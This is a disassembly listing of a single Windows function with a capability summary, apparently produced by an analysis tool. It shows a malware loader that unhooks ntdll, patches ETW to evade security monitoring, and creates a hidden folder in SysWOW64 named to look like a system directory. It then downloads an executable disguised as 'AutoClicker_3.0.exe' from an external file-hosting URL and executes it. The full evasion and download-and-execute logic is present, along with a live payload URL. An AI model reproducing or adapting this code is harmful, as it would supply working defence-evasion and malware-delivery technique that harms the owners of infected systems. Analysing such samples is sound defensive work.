Function at 0x1400015d0
Capabilities:
Allocate or change rwx memory
Check if file exists
Create directory
Download url
Get file attributes
Protect spawned processes with mitigation policies
Receive data
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xc0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x47], rax
movabs rax, 0xe66c6255c079ee40
mov qword [rbp - 0x29], rax
mov rax, qword [rbp - 0x29]
mov qword [rbp - 0x19], rax
movabs rax, 0x80cbf8abe1d92b41
mov qword [rbp - 0x29], rax
mov rax, qword [rbp - 0x29]
mov qword [rbp - 0x11], rax
movabs rax, 0x92020723850e9a05
mov qword [rbp - 0x29], rax
mov rax, qword [rbp - 0x29]
mov qword [rbp + 7], rax
movabs rax, 0x80cbf8ce95b05916
mov qword [rbp - 0x29], rax
mov rax, qword [rbp - 0x29]
mov qword [rbp + 0xf], rax
movdqa xmm0, xmmword [rbp - 0x19]
xorps xmm0, xmmword [rbp + 7]
movdqa xmmword [rbp - 0x19], xmm0
lea rdx, str._debug__Unhooking_ntdll_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001220
call sym.idk.exe_unhook_ntdll
mov ecx, 0x5dc
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str._debug__Patching_ETW_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001220
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x1400016ac
lea rdx, str.____GetModuleHandleA_Failed
jmp 0x140001719
lea rdx, [rbp - 0x19]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x1400016ca
lea rdx, str.____GetProcAddress_Failed
jmp 0x140001719
lea r9, [rbp - 0x29]
mov edx, 3
mov r8d, 0x40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400016ef
lea rdx, str.____VirtualProtect_Failed
jmp 0x140001719
mov word [rbx], 0xc033
mov byte [rbx + 2], 0xc3
lea r9, [rbp - 0x29]
mov r8d, dword [rbp - 0x29]
mov edx, 3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001735
lea rdx, str.____VirtualProtect_Restore_Failed
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140001220
lea rdx, [0x140001df0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str._debug__Setting_mitigations_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001220
xor edi, edi
mov qword [rbp - 0x29], rdi
lea r9, [rbp - 0x29]
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rbx, qword [rbp - 0x29]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbx
mov edx, 8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
lea r9, [rbp - 0x29]
xor r8d, r8d
mov edx, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
movabs rax, 0x100000000000
mov qword [rbp - 0x19], rax
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], 8
lea r9, [rbp - 0x19]
xor edx, edx
mov r8d, 0x20007
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov rcx, rax
mov r8, rbx
mov edx, 8
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, 0x4e2
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str._n_debug__Making_folder_in_SysWOW64_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001220
xorps xmm0, xmm0
movups xmmword [rbp + 0x27], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x37], xmm1
mov ecx, 0x20
call fcn.140002170
mov rdx, rax
mov qword [rbp + 0x27], rax
movdqa xmm0, xmmword [0x1400047a0]
movdqu xmmword [rbp + 0x37], xmm0
movups xmm0, xmmword [str.C:WindowsSysWOW64WINSXS1]
movups xmmword [rax], xmm0
movsd xmm0, qword [0x1400045f0]
movsd qword [rax + 0x10], xmm0
movzx ecx, word [0x1400045f8]
mov word [rax + 0x18], cx
movzx eax, byte [0x1400045fa]
mov byte [rdx + 0x1a], al
mov byte [rdx + 0x1b], dil
lea rdx, [rbp + 0x27]
lea rcx, [rbp + 7]
call fcn.140001470
nop
lea rcx, [rbp + 7]
cmp qword [rbp + 0x1f], 7
cmova rcx, qword [rbp + 7]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x1400018d7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x1400018d7
lea rdx, str._debug__Failed_to_create_folder
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001b90
lea rdx, [0x140001d70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, str._debug__Folder_created_with_name:_WINSXSX1
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001b90
lea rdx, [0x140001d70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str._n_debug__Downloading_payload_to_folder_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001220
xorps xmm0, xmm0
movups xmmword [rbp - 0x19], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 9], xmm1
mov ecx, 0x30
call fcn.140002170
mov rbx, rax
mov qword [rbp - 0x19], rax
movdqa xmm0, xmmword [0x1400047b0]
movdqu xmmword [rbp - 9], xmm0
movups xmm0, xmmword [str.C:WindowsSysWOW64AutoClicker_3.0.exe]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x1400044f8]
movups xmmword [rax + 0x10], xmm1
mov ecx, dword [0x140004508]
mov dword [rax + 0x20], ecx
movzx eax, word [0x14000450c]
mov word [rbx + 0x24], ax
movzx eax, byte [0x14000450e]
mov byte [rbx + 0x26], al
mov byte [rbx + 0x27], 0
mov qword [rsp + 0x20], rdi
xor r9d, r9d
mov r8, rbx
lea rdx, str.https:__cdn6.filehaus.su_files_1725037836_63906_AutoClicker_3.0.exe
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
test eax, eax
jns 0x1400019c4
lea rdx, str._debug__Failed_to_download_file
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001220
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1400019fc
lea rdx, str._debug__File_doesnt_exist_somehow
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001220
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
mov rdx, qword [rbp - 1]
cmp rdx, 0xf
jbe 0x140001a3a
inc rdx
mov rcx, qword [rbp - 0x19]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001a35
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a35
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400021ac
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str._n_debug__Executing_payload_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140001220
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_istream_char__struct_std::char_traits_char__::get_void____ptr64]
nop
mov rdx, qword [rbp + 0x1f]
cmp rdx, 7
jbe 0x140001aa9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001aa4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001aa4
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400021ac
movdqa xmm0, xmmword [0x140004790]
movdqu xmmword [rbp + 0x17], xmm0
mov word [rbp + 7], di
mov rdx, qword [rbp + 0x3f]
cmp rdx, 0xf
jbe 0x140001af8
inc rdx
mov rcx, qword [rbp + 0x27]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001af3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001af3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400021ac
xor eax, eax
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.140002150
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret